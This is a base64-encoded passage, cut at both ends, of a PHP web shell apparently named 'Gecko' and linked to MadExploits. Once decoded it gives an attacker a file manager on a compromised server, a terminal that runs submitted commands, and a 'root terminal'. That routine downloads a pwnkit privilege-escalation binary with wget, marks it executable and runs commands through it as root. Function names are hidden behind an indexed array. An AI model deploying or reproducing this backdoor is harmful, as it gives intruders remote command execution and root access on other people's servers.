bGlkIGZhLWJ1ZyI+PC9pPiZuYnNwO0xvY2Fscm9vdCBTdWdnZXN0ZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmJhY2tkb29yPXRydWUiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS12aXJ1cyI+PC9pPiZuYnNwO0JhY2tkb29yIERlc3Ryb3llcjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvR2Vja28vIiBjbGFzcz0iIj48aSBjbGFzcz0iZmEtc29saWQgZmEtYm9vayI+PC9pPiZuYnNwO1JlYWRtZTwvYT48L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJib3JkZXIiPgogICAgICAgIDxkaXYgY2xhc3M9InB3ZCI+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHdkLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGdldF9jd2QpOyAvLyB1bnR1ayBkaXIgZ2FyaXMgd2luZG93cwogICAgICAgICAgICAgICAgICAgICRwd2QgPSBleHBsb2RlKCIvIiwgJGN3ZCk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHB3ZCBhcyAkaWQgPT4gJHZhbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZhbCA9PSAnJyAmJiAkaWQgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nIC4gaGV4KCcvJykgLiAnIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDsvIDwvYT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2YWwgPT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/ZGlyPSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaGV4KCRwd2RbJGldKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSAhPSAkaWQpIGVjaG8gaGV4KCIvIik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIj4nIC4gJHZhbCAuICcgLyAnIC4gJzwvYT4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZXR0aW5ncyI+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJhY3Rpb24tZ2Vja28iIGlkPSIiIGNsYXNzPSJhY3Rpb24tZ2Vja28iPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJkZWxldGUiPkRlbGV0ZTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1bnppcCI+VW56aXA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2VsZWN0LXN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iZ2Vja28tc3VibWl0Ij4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDx0YWJsZSBzdHlsZT0id2lkdGg6MTAwJTsiPgogICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+UGVybWlzc2lvbjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPkRhdGU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb248L3RoPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgPCEtLSBGT0xERVIgTllBIC0tPgogICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJHNjZGlyIGFzICRkaXIpIDogPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsxOF0oJGRpcikpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2stZ2Vja29bXSIgaWQ9ImZvbGRlciIgdmFsdWU9Ijw/PSAkZGlyOyA/PiI+Jm5ic3A7PGxhYmVsIGZvcj0iZm9sZGVyIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyIj48L2k+Jm5ic3A7PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRjd2QgLiAiLyIgLiAkZGlyKTsgPz4iIGNsYXNzPSJsaW5rLXNoZWxsIj48Pz0gJGRpcjsgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPlsgRElSIF08L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICgkZnVuZ3NpWzE5XSgkZnVuZ3NpWzldKCkgLiAnLycgLiAkZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICghJGZ1bmdzaVsyMF0oJGZ1bmdzaVs5XSgpIC4gJy8nIC4gJGRpcikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzldKCkgLiAnLycgLiAkZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGRhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZLW0tZCBIOmkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVuZ3NpWzI0XSgkZGlyKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JnJlbmFtZT08Pz0gJGRpciA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JmNobW9kPTw/PSAkZGlyID8+Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgIDwhLS0gRklMRSBOWUEgLS0+CiAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkc2NkaXIgYXMgJF9maWxlKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRmdW5nc2lbMTddKCRfZmlsZSkpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2stZ2Vja29bXSIgaWQ9ImZvbGRlciIgdmFsdWU9Ijw/PSAkX2ZpbGU7ID8+Ij4mbmJzcDs8bGFiZWwgZm9yPSJmb2xkZXIiPjxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGN3ZCAuICIvIik7ID8+JmY9PD89ICRfZmlsZTsgPz4iIGNsYXNzPSJsaW5rLXNoZWxsIj48Pz0gJF9maWxlOyA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGZvcm1hdFNpemUoJGZ1bmdzaVsyMV0oJF9maWxlKSk7ID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsxOV0oJGZ1bmdzaVs5XSgpIC4gJy8nIC4gJF9maWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoISRmdW5nc2lbMjBdKCRmdW5nc2lbOV0oKSAuICcvJyAuICRfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzldKCkgLiAnLycgLiAkX2ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gZGF0ZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlktbS1kIEg6aSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdW5nc2lbMjRdKCRfZmlsZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKSA/PiZyZW5hbWU9PD89ICRfZmlsZSA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JmRvd25sb2FkPTw/PSAkX2ZpbGUgPz4iPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kb3dubG9hZCI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKSA/PiZjaG1vZD08Pz0gJF9maWxlID8+Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICA8L3RhYmxlPgogICAgPC9kaXY+CiAgICA8YnI+CiAgICA8L2Zvcm0+CiAgICA8P3BocAogICAgaWYgKCRfR0VUWydjcmVhdGUnXSA9PSBUcnVlKSA6CiAgICA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkX0dFVFsnY3JlYXRlJ10gPT0gImZpbGUiKSA6ICA/PgogICAgICAgICAgICAgICAgICAgIDxoZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoMj48Pz0gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGUnOyA/PjwvaDI+CiAgICAgICAgICAgICAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZmlsZSIgaWQ9IiIgcGxhY2Vob2xkZXI9IiZuYnNwO05hbWEgRmlsZSI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkX0dFVFsnY3JlYXRlJ10gPT0gImZvbGRlciIpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMj48Pz0gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+Jm5ic3A7PC9pPkNyZWF0ZSBGb2xkZXInOyA/PjwvaDI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZm9sZGVyIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7TmFtYSBGb2xkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1tb2RhbCIgY2xhc3M9ImJ0bi1tb2RhbCBmdy1ib2xkIiB2YWx1ZT0iU3VibWl0Ij48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAKICAgIGlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInRlcm1pbmFsIikgOgogICAgPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXhtYXJrIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJ1bmFtZSAtYSIgbmFtZT0idGVybWluYWwiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIG5hbWU9InN1Ym1pdC10ZXJtaW5hbCIgY2xhc3M9InRlcm1pbmFsLXN1Ym1pdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtdGVybWluYWwnXSkpIDogID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0LXRlcm1pbmFsIiBkaXNhYmxlZD48Pz0gaHRtbHNwZWNpYWxjaGFycygkZnVuZ3NpWzE0XSgkX1BPU1RbJ3Rlcm1pbmFsJ10gLiAiIDI+JjEiKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicm9vdC10ZXJtaW5hbCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXhtYXJrIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJyb290QHRlcm1pbmFsfiMiIG5hbWU9InRlcm1pbmFsLXJvb3QiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIG5hbWU9InN1Ym1pdC1yb290IiBjbGFzcz0idGVybWluYWwtc3VibWl0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1yb290J10pKSA6ICA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9Im91dHB1dC10ZXJtaW5hbCIgZGlzYWJsZWQ+Cjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZXJtaW5hbCA9ICRfUE9TVFsndGVybWluYWwtcm9vdCddOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRlcm1pbmFsID09ICJyb290IikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWytdIERvd25sb2FkaW5nIFRoZSBzb3VyY2UgXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzE0XSgid2dldCAiIC4gJGZ1bmdzaVszNF0gLiAiIC0tbm8tY2hlY2stY2VydGlmaWNhdGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlshXSBDaG1vZCBmaWxlIHB3bmtpdC4uLi5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTRdKCJjaG1vZCAreCBwd25raXQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBUZXN0aW5nIGlmIHRoaXMga2VybmVsIHZ1bG5lcmFibGUuLi5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTRdKCcuL3B3bmtpdCAiaWQiID4+IG1hZC1wd25raXQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaGVja192dWxuZXJhYmxlID0gJGZ1bmdzaVsyN10oJGZ1bmdzaVs5XSgpIC4gIi9tYWQtcHdua2l0Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhwbG9kZV9tYWRfcHdraXQgPSBleHBsb2RlKCIgIiwgJGNoZWNrX3Z1bG5lcmFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRleHBsb2RlX21hZF9wd2tpdFswXSA9PSAidWlkPTAocm9vdCkiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiW35dIFRoaXMgS2VybmVsIGlzIHZ1bG5lcmFibGUgY29uZ3JhdHMhXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbIV0gVGhpcyBrZXJuZWwgaXMgbm90IFZ1bG5lcmFibGUgU29ycnkgOikiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBHaXZpbmcgUGVybWlzc2lvbiBvbiBtYWQtcHdua2l0XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzE0XSgiY2htb2QgK3ggbWFkLXB3bmtpdCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZnVuZ3NpWzE0XSgnLi9wd25raXQgImlkIicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWyFdIENhbm5vdCBydW5uaW5nIHB3bmtpdCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlshXSBEb25lIFNpci4gbm93IHUgY2FuIHJ1bm5pbmcgb24gcm9vdCB1c2VyISI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZ1bmdzaVsxNF0oJy4vcHdua2l0ICInIC4gJHRlcm1pbmFsIC4gJyInKSk7Cj8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwCiAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtbW9kYWwnXSkpIHsKICAgICAgICBpZiAoJF9QT1NUWydjcmVhdGVfZmlsZSddKSB7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydjcmVhdGVfZmlsZSddOwogICAgICAgICAgICBpZiAoJGZ1bmdzaVsyNV0oJGZpbGUpKSB7CiAgICAgICAgICAgICAgICBlY2hvIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWydjcmVhdGVfZm9sZGVyJ10pIHsKICAgICAgICAgICAgJGZvbGRlciA9ICRfUE9TVFsnY3JlYXRlX2ZvbGRlciddOwogICAgICAgICAgICBpZiAoJGZ1bmdzaVsyNl0oJGZvbGRlcikpIHsKICAgICAgICAgICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gPz4KICAgIDxicj4KICAgIDw/cGhwCiAgICBpZiAoaXNzZXQoJF9HRVRbJ2YnXSkpIDoKICAgID8+CiAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1ib3giPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1maWxlIj48aSBjbGFzcz0iZmEtcmVndWxhciBmYS1mbG9wcHktZGlzayI+PC9pPiZuYnNwO1NhdmU8L2J1dHRvbj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JnJlbmFtZT08Pz0gJF9HRVRbJ2YnXSA/PiIgY2xhc3M9ImxpbmstcmVuYW1lIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcGVuLXRvLXNxdWFyZSI+PC9pPiZuYnNwO1JlbmFtZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPiA8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKTsgPz4iPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS14bWFyayI+PC9pPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ0ZXh0LWZpbGUiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZnVuZ3NpWzI3XSgkX0dFVFsnZiddKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsncmVuYW1lJ10gPT0gVHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgICAgIDxoZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgPGgyPjw/PSAkX0dFVFsncmVuYW1lJ10gPz48L2gyPgogICAgICAgICAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7RmlsZS9Gb2xkZXIiPgogICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1yZW5hbWUiIGNsYXNzPSJ